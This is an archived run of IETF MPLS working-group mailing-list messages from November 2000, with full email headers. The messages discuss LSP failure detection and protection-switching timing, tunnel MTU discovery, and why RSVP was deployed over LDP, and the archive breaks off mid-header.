this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-kini-rsvp-lsp-restoration-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-kini-rsvp-lsp-restoration-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-kini-rsvp-lsp-restoration-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. Content-type: text/plain From owner-mpls@UU.NET Fri Nov 10 12:21:38 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15961 for ; Fri, 10 Nov 2000 12:21:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosr25699; Fri, 10 Nov 2000 17:19:12 GMT Received: by mail-control.mail.uu.net id QQjosr05233 for mpls-outgoing; Fri, 10 Nov 2000 17:18:49 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjosr05225 for ; Fri, 10 Nov 2000 17:18:44 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjosr20802 for ; Fri, 10 Nov 2000 17:17:19 GMT From: neil.2.harrison@bt.com Received: from marvin.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82]) id QQjosr06368 for ; Fri, 10 Nov 2000 17:17:19 GMT Received: from chqlubnt02.lon.bt.com by marvin (local) with ESMTP; Fri, 10 Nov 2000 17:16:40 +0000 Received: by chqlubnt02.lon.bt.com with Internet Mail Service (5.5.2652.35) id ; Fri, 10 Nov 2000 17:16:30 -0000 Message-ID: To: glen.turner@aarnet.edu.au Cc: mpls@UU.NET Subject: RE: LSP failure detection Date: Fri, 10 Nov 2000 17:16:28 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Thanks Glen......seems a good candidate for a very robust network solution. But I think the answer is not to blanket cover the whole network with performance that only a small number of applications need (this is not cost-effective). The answer here would be very focussed and specific treatment for that application....maybe even setting up 3 disjoint (if possible) network connections. neil > > Can someone please tell me what these are? I think we should > > start by listing them. > > Haptics (touch) applications for one. > > We've got a researcher in Western Australia who has a supercomputer > driving an industrial robot strapped to some poor blighter's thumb. > As supercomputers are a tad rare, there's an Internet link between > the computer and the robot. > > The idea is that the blighter can be a medical student learning > how to do surgery (and thus saving lots of furry animals). > > I was a bit dismissive of this as a wide-spread future application > until I saw the success of the PlayStation Shock Controller :-) The > researcher is being funded by the mining industry, as it could allow > a mine to call in a remote expert to drive the cutting machine > through a particularly tricky seam. Other applications spring > to mind. > > The downside of this rosy picture is that the latency is quite > tight. And if there is the loss of more than 50ms of data the > industrial robot enters fail safe mode so that the blighter > doesn't lose any more fingers. > > I'm not suggesting that this is the sort of application that > will be on the Internet tomorrow, but if you're asking about > the worst-case application for the current Internet, then > remote haptics would be it as it tickles the tricky issues > in latency, jitter, protection, availability, denial of service > and authentication. > > > Also, if you think that voice and video are the ultimate in > multimedia applications, then consider that we have barely > started to experiment with sending RADAR streams across the > Internet. There's about 7 dimensions of data. > > -- > Glen Turner Network Engineer > (08) 8303 3936 Australian Academic and Research Network > glen.turner@aarnet.edu.au http://www.aarnet.edu.au/ > -- > The revolution will not be televised, it will be digitised From owner-mpls@UU.NET Fri Nov 10 12:45:24 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24109 for ; Fri, 10 Nov 2000 12:45:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoss14614; Fri, 10 Nov 2000 17:42:45 GMT Received: by mail-control.mail.uu.net id QQjoss07542 for mpls-outgoing; Fri, 10 Nov 2000 17:42:20 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoss07531 for ; Fri, 10 Nov 2000 17:42:16 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoss21243 for ; Fri, 10 Nov 2000 17:40:29 GMT From: neil.2.harrison@bt.com Received: from gollum.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41]) id QQjoss09235 for ; Fri, 10 Nov 2000 17:40:28 GMT Received: from cclmsent02.lon.bt.com by gollum (local) with ESMTP; Fri, 10 Nov 2000 17:18:05 +0000 Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2651.88) id ; Fri, 10 Nov 2000 17:16:32 -0000 Message-ID: To: glen.turner@aarnet.edu.au Cc: kireeti@juniper.net, david.charlap@marconi.com, mpls@UU.NET Subject: RE: LSP failure detection Date: Fri, 10 Nov 2000 17:16:29 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.88) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk > neil.2.harrison@bt.com wrote: > > > Every time we have studied prot-sw in BT we come to the same > > conclusions......minimise the layers at which prot-sw is > deployed....ideally > > just 2: L1 and fast, applications interfacing and (relatively) slow. > And > > as I said in a few prior mails on this topic.....don't go too fast at > the > > application interfacing level. > > Hi Neil, > > I hope you don't mean "application". NH=> No, I didn't....I meant the network layer that interfaces with the application. So, for POTS (ie PSTN) that would be a 64k cct-sw network, FR and ATM are two other examples, and so is IP. BTW - these have to be minimised to avoid same application I/W between different native technology bases. > We've tried modifying BIND, a DNS application, to rapidly detect > a failing upstream server and to select an alternative. The > statistics are complex, so the implementation is dense. We've > had a professor design the statistics and the code is solid, but > we've still had endless trouble in the 5 months that we have > been using the code. > > 'Rapidly' above means 'more than 0.5s late', the idea being > that a failed DNS server shouldn't add more than 1s to a DNS > lookup. > > Pushing protection up to the Application Layer, if this is > what you mean, is too high up the protocol stack. NH=> Wherever possible the end applications should take note of the typical behaviour of networks and (the code) be written to live with normal imperfections......so this is loss, errors, delay. If the application cannot live with these 'normal' imperfections then there are 2 options: - upgrade the whole network - do something for *that* application by special treatment within the network, eg provide several routes and select on integrity of rx'd data. The answer depends on the how frequent that application is against other types of (application) traffic. If maybe 90% of traffic types can live with the normal network behaviour, then the answer is to take the 2nd option....otherwise the operator goes out of business. Basic ecomonics at play. From owner-mpls@UU.NET Fri Nov 10 13:04:09 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA01070 for ; Fri, 10 Nov 2000 13:04:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjost22599; Fri, 10 Nov 2000 17:58:55 GMT Received: by mail-control.mail.uu.net id QQjost09042 for mpls-outgoing; Fri, 10 Nov 2000 17:58:19 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjost09027 for ; Fri, 10 Nov 2000 17:58:05 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjost10404 for ; Fri, 10 Nov 2000 17:57:52 GMT Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: oe33.law10.hotmail.com [64.4.14.90]) id QQjost07474 for ; Fri, 10 Nov 2000 17:57:51 GMT Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 10 Nov 2000 09:57:51 -0800 X-Originating-IP: [12.124.181.202] From: "Frank Hujber" To: , , "MPLS Group" References: Subject: Re: LSP failure detection Date: Fri, 10 Nov 2000 12:59:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 10 Nov 2000 17:57:51.0343 (UTC) FILETIME=[BE428FF0:01C04B3F] Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Neil, Glen, As we approach a 40 Gbps network (OC-768), a 50 ms outage causes the loss of 2 Gb of data. If you consider a bunch of telephone calls aggregated on a (for example) SONET/SDH path, it's insignificant because the loss that any one takes is small, even if they have to re-dial. But the next generation of "television" (beyond HDTV) may well be a 3D imaging system, and the amount of data in a 3D "frame" is immense, relatively. A consumer watching a sitcom in 3D can afford to lose a few frames, but a telemedine application cannot. I don't necessarily suggest that sticking with the current SONET/SDH implementation is the right answer, but as data rates go up, the value in terms of data lost per millisecond goes up as well. If we are talking about a unified Internet, albeit with shared ownership among a variety of carriers, then it should do better than the minimum required for discretionary services; it needs to support high-reliability services as well, and that may well drive the handful-of-millisecond switching times the SONET/SDH provides. Frank Hujber fhujber@hotmail.com From owner-mpls@UU.NET Fri Nov 10 13:05:55 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA01639 for ; Fri, 10 Nov 2000 13:05:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosu29519; Fri, 10 Nov 2000 18:03:30 GMT Received: by mail-control.mail.uu.net id QQjosu15847 for mpls-outgoing; Fri, 10 Nov 2000 18:03:00 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjosu15838 for ; Fri, 10 Nov 2000 18:02:56 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjosu05249 for ; Fri, 10 Nov 2000 18:02:17 GMT From: Keith.Schuettpelz@go.ecitele.com Received: from mizar.ftl.telematics.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailhost.telematics.com [147.137.1.7]) id QQjosu10948 for ; Fri, 10 Nov 2000 18:02:16 GMT Received: from ussmtp01.ftl.telematics.com (ussmtp01 [147.137.15.41]) by mizar.ftl.telematics.com (8.9.1/8.9.1) with SMTP id NAA03705 for ; Fri, 10 Nov 2000 13:02:07 -0500 (EST) Received: by ussmtp01.ftl.telematics.com(Lotus SMTP MTA v4.6.2 (693.3 8-11-1998)) id 85256993.00634F4A ; Fri, 10 Nov 2000 13:04:43 -0500 X-Lotus-FromDomain: ECI TELECOM To: mpls@UU.NET Message-ID: <85256993.00634D6C.00@ussmtp01.ftl.telematics.com> Date: Fri, 10 Nov 2000 13:04:56 -0500 Subject: MTU Discovery and fragmentation for non-RSVP LSPs? Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-mpls@UU.NET Precedence: bulk Hi, Section 3.6 of draft-ietf-mpls-label-encaps-08.txt includes the following text: If it is not possible to forward an ICMP message from within an MPLS "tunnel" to a packet's source address, but the network configuration makes it possible for the LSR at the transmitting end of the tunnel to receive packets that must go through the tunnel, but are too large to pass through the tunnel unfragmented, then: - The LSR at the transmitting end of the tunnel MUST be able to determine the MTU of the tunnel as a whole. It MAY do this by sending packets through the tunnel to the tunnel's receiving endpoint, and performing Path MTU Discovery with those packets. My questions are: 1. It seems to me that it is often not possible to forward an ICMP mesage from within an MPLS tunnel to a packet's source address, and that the LSR may receive packets which are too large to go through the tunnel unfragmented. Consequently, the LSR MUST be able to determine the MTU of the tunnel. Is this correct? 2. Section 2.6 of draft-ietf-mpls-rsvp-lsp-tunnel-07.txt defines the mechanism whereby RSVP identifies the MTU for an LSP. This draft also requires that the LSR perform fragmentation processing for packets (labeled or unlabeled) being forwarded into the LSP by that LSR. Do CR-LDP or LDP provide any mechanism to identify the MTU for an LSP? 3. The encapsulation draft indicates that the LSR may perform Path MTU Discovery by sending packets through the tunnel. Is there a more complete description of this procedure? Thank you in advance for your assistance. From owner-mpls@UU.NET Fri Nov 10 13:35:08 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12431 for ; Fri, 10 Nov 2000 13:35:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosw10694; Fri, 10 Nov 2000 18:31:47 GMT Received: by mail-control.mail.uu.net id QQjosw23445 for mpls-outgoing; Fri, 10 Nov 2000 18:31:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjosw23404 for ; Fri, 10 Nov 2000 18:31:14 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjosw09065 for ; Fri, 10 Nov 2000 18:30:37 GMT Received: from ennovatenetworks.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.102.148.71]) id QQjosw08955 for ; Fri, 10 Nov 2000 18:30:36 GMT Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208]) by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id NAA07256; Fri, 10 Nov 2000 13:30:17 -0500 (EST) (envelope-from bkumar@ennovatenetworks.com) Reply-To: From: "Brijesh Kumar" To: "'Frank Hujber'" , , , "'MPLS Group'" Subject: RE: LSP failure detection Date: Fri, 10 Nov 2000 13:30:18 -0500 Message-ID: <00cd01c04b44$4750a260$d001010a@tst.ennovatenetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > -----Original Message----- > To: neil.2.harrison@bt.com; glen.turner@aarnet.edu.au; MPLS Group > Subject: Re: LSP failure detection > > > Neil, Glen, > > As we approach a 40 Gbps network (OC-768), a 50 ms outage > causes the loss of > 2 Gb of data. If you consider a bunch of telephone calls > aggregated on a > (for example) SONET/SDH path, it's insignificant because the > loss that any > one takes is small, even if they have to re-dial. But the > next generation of > "television" (beyond HDTV) may well be a 3D imaging system, > and the amount > of data in a 3D "frame" is immense, relatively. A consumer > watching a sitcom > in 3D can afford to lose a few frames, but a telemedine > application cannot. > Well, you have rightly articulated the relationship between high transmission speed and the need of lower latency. But remember, that in a few years time - you would also likely have optical buffers where data can be temporarily buffered for short duration so that it can be re-transmitted once alternate path is available. Cheers, --brijesh Ennovate Networks Inc. From owner-mpls@UU.NET Fri Nov 10 13:51:00 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20021 for ; Fri, 10 Nov 2000 13:51:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosx21471; Fri, 10 Nov 2000 18:48:42 GMT Received: by mail-control.mail.uu.net id QQjosx25268 for mpls-outgoing; Fri, 10 Nov 2000 18:48:22 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjosx25257 for ; Fri, 10 Nov 2000 18:48:16 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjosx24389 for ; Fri, 10 Nov 2000 18:46:52 GMT Received: from westhost16.westhost.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: westhost16.westhost.com [216.71.84.74] (may be forged)) id QQjosx18510 for ; Fri, 10 Nov 2000 18:46:51 GMT Received: from Pradeep (w040.z208176180.sjc-ca.dsl.cnc.net [208.176.180.40]) by westhost16.westhost.net (8.8.5/8.8.5) with SMTP id MAA10717 for ; Fri, 10 Nov 2000 12:51:04 -0600 From: "Tom Tang" To: Subject: RSVP vs LDP Date: Fri, 10 Nov 2000 10:33:02 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello : Being relatively new to this WG, I heard that the majority of MPLS delpoyments are going out with RSVP support. Is there, or will there be a migration to using LDP in the future ? If people can forward me any pertinent past discussions on this topic, it'd be greatly appreciated. Thanks. - Tom Tom Tang IP Unity 1575 McCandless Drive Milpitas, CA 95035 (408) 957-1154 (w) (408) 957-0823 (f) From owner-mpls@UU.NET Fri Nov 10 14:14:16 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28301 for ; Fri, 10 Nov 2000 14:14:15 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosy25480; Fri, 10 Nov 2000 19:11:52 GMT Received: by mail-control.mail.uu.net id QQjosy08709 for mpls-outgoing; Fri, 10 Nov 2000 19:11:28 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjosy08653 for ; Fri, 10 Nov 2000 19:11:19 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjosy14887 for ; Fri, 10 Nov 2000 19:11:04 GMT Received: from cowansville.acbm.qc.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cowansville.acbm.qc.ca [207.96.170.2]) id QQjosy23277 for ; Fri, 10 Nov 2000 19:11:03 GMT Received: from hermes.hyperchip.com ([207.164.218.2]) by cowansville.acbm.qc.ca (Post.Office MTA v3.5.2 release 221 ID# 0-55493U700L2S100V35) with ESMTP id ca for ; Fri, 10 Nov 2000 14:11:31 -0500 Received: by hermes.hyperchip.com with Internet Mail Service (5.5.2650.21) id ; Fri, 10 Nov 2000 14:13:31 -0500 Message-ID: From: Eyad Saheb To: "'mpls@UU.NET'" Subject: RE: RSVP vs LDP Date: Fri, 10 Nov 2000 14:13:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04B4A.5004D150" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04B4A.5004D150 Content-Type: text/plain; charset="iso-8859-1" To be quite frank, the reason you see so much RSVP is because that is what Cisco & Juniper have adopted as their signaling protocol. To paraphrase a recent forum meeting, "We have 90+ % of the market, so too bad for you (LDP proponents)" As you can see, this wasn't a terribly technical decision. Perhaps CR/LDP will become more prevalent as the limits of RSVP are reached or as the big players start to support it. -----Original Message----- From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Tom Tang Sent: Friday, November 10, 2000 1:33 PM To: mpls@UU.NET Subject: RSVP vs LDP Hello : Being relatively new to this WG, I heard that the majority of MPLS delpoyments are going out with RSVP support. Is there, or will there be a migration to using LDP in the future ? If people can forward me any pertinent past discussions on this topic, it'd be greatly appreciated. Thanks. - Tom Tom Tang IP Unity 1575 McCandless Drive Milpitas, CA 95035 (408) 957-1154 (w) (408) 957-0823 (f) ------_=_NextPart_001_01C04B4A.5004D150 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: RSVP vs LDP

To be quite frank, the reason you see so much RSVP is = because that is what Cisco & Juniper have adopted as their = signaling protocol.  To paraphrase a recent forum meeting, = "We have 90+ % of the market, so too bad for you (LDP = proponents)"

As you can see, this wasn't a terribly technical = decision.

Perhaps CR/LDP will become more prevalent as the = limits of RSVP are reached or as the big players start to support = it.

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On = Behalf Of Tom Tang
Sent: Friday, November 10, 2000 1:33 PM
To: mpls@UU.NET
Subject: RSVP vs LDP



 Hello :

    Being relatively new to this WG, I = heard that the majority
 of MPLS delpoyments are going out with RSVP = support.  Is there, or
 will there be a migration to using LDP in the = future ?  If people
 can forward me any pertinent past discussions = on this topic, it'd be
 greatly appreciated.  Thanks.

 - Tom


Tom Tang
IP Unity
1575 McCandless Drive
Milpitas, CA 95035
(408) 957-1154 (w)
(408) 957-0823 (f)

------_=_NextPart_001_01C04B4A.5004D150-- From owner-mpls@UU.NET Fri Nov 10 14:41:15 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA08087 for ; Fri, 10 Nov 2000 14:41:14 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjota04291; Fri, 10 Nov 2000 19:39:01 GMT Received: by mail-control.mail.uu.net id QQjota11561 for mpls-outgoing; Fri, 10 Nov 2000 19:38:39 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjota11552 for ; Fri, 10 Nov 2000 19:38:32 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjota14946 for ; Fri, 10 Nov 2000 19:37:11 GMT Received: from postal.jnpr.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: natint.juniper.net [207.17.136.129]) id QQjota01467 for ; Fri, 10 Nov 2000 19:37:11 GMT Received: by postal.jnpr.net with Internet Mail Service (5.5.2650.21) id ; Fri, 10 Nov 2000 11:36:16 -0800 Message-ID: From: Rob Jaeger To: Tom Tang , mpls@UU.NET Subject: RE: RSVP vs LDP Date: Fri, 10 Nov 2000 11:36:15 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Tom Juniper supports LDP and RSVP today. Rob -----Original Message----- From: Tom Tang [mailto:ttang@ipunity.com] Sent: Friday, November 10, 2000 1:33 PM To: mpls@UU.NET Subject: RSVP vs LDP Hello : Being relatively new to this WG, I heard that the majority of MPLS delpoyments are going out with RSVP support. Is there, or will there be a migration to using LDP in the future ? If people can forward me any pertinent past discussions on this topic, it'd be greatly appreciated. Thanks. - Tom Tom Tang IP Unity 1575 McCandless Drive Milpitas, CA 95035 (408) 957-1154 (w) (408) 957-0823 (f) From owner-mpls@UU.NET Fri Nov 10 16:29:50 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13715 for ; Fri, 10 Nov 2000 16:29:49 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoth16133; Fri, 10 Nov 2000 21:21:40 GMT Received: by mail-control.mail.uu.net id QQjoth14960 for mpls-outgoing; Fri, 10 Nov 2000 21:21:05 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoth14944 for ; Fri, 10 Nov 2000 21:20:57 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoth18568 for ; Fri, 10 Nov 2000 21:20:24 GMT Received: from mx2out.umbc.edu by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mx2out.umbc.edu [130.85.253.52]) id QQjoth12495 for ; Fri, 10 Nov 2000 21:20:24 GMT Received: from gl.umbc.edu (vijay@irix2.gl.umbc.edu [130.85.60.11]) by mx2out.umbc.edu (8.9.3/8.9.3) with ESMTP id QAA12286; Fri, 10 Nov 2000 16:20:23 -0500 (EST) Received: from localhost (vijay@localhost) by gl.umbc.edu (8.9.0/8.9.0) with ESMTP id QAA658568; Fri, 10 Nov 2000 16:20:22 -0500 (EST) X-Authentication-Warning: irix2.gl.umbc.edu: vijay owned process doing -bs Date: Fri, 10 Nov 2000 16:20:22 -0500 From: Vijay Gill X-Sender: vijay@irix2.gl.umbc.edu To: Eyad Saheb cc: "'mpls@UU.NET'" Subject: RE: RSVP vs LDP In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk On Fri, 10 Nov 2000, Eyad Saheb wrote: > To be quite frank, the reason you see so much RSVP is because that is what > Cisco & Juniper have adopted as their signaling protocol. To paraphrase a > recent forum meeting, "We have 90+ % of the market, so too bad for you (LDP > proponents)" > > As you can see, this wasn't a terribly technical decision. The vendors implmented what we (their customers) asked for it. And we put our money where our mouth was. Several hundreds of millions. To lay the blame on the vendors because they were implementing to the customer spec who wanted RSVP is attributing malice where there was none. /vijay From owner-mpls@UU.NET Sat Nov 11 07:51:32 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14866 for ; Sat, 11 Nov 2000 07:51:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjovr02464; Sat, 11 Nov 2000 12:50:39 GMT Received: by mail-control.mail.uu.net id QQjovr01256 for mpls-outgoing; Sat, 11 Nov 2000 12:50:21 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjovr01251 for ; Sat, 11 Nov 2000 12:50:09 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjovr13587 for ; Sat, 11 Nov 2000 12:48:43 GMT Received: from red.gdansk.sprint.pl by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.gdansk.sprint.pl [195.116.73.86]) id QQjovr07417 for ; Sat, 11 Nov 2000 12:48:33 GMT Received: from localhost (IDENT:maks@localhost [127.0.0.1]) by red.gdansk.sprint.pl (8.10.2/8.10.2) with ESMTP id eABCmLK02444 for ; Sat, 11 Nov 2000 13:48:21 +0100 Date: Sat, 11 Nov 2000 13:48:21 +0100 (CET) From: Maksymilian Milkowski To: mpls@UU.NET Subject: Table Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Good day, I'm last year student, doing some research about MPLS architecture. I have one question about table maintained by LSR, indexed by incoming label - when and how this table is being constructed ? Thanks a lot, Maksymilian Milkowski From owner-mpls@UU.NET Sat Nov 11 08:22:09 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA24650 for ; Sat, 11 Nov 2000 08:22:09 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net 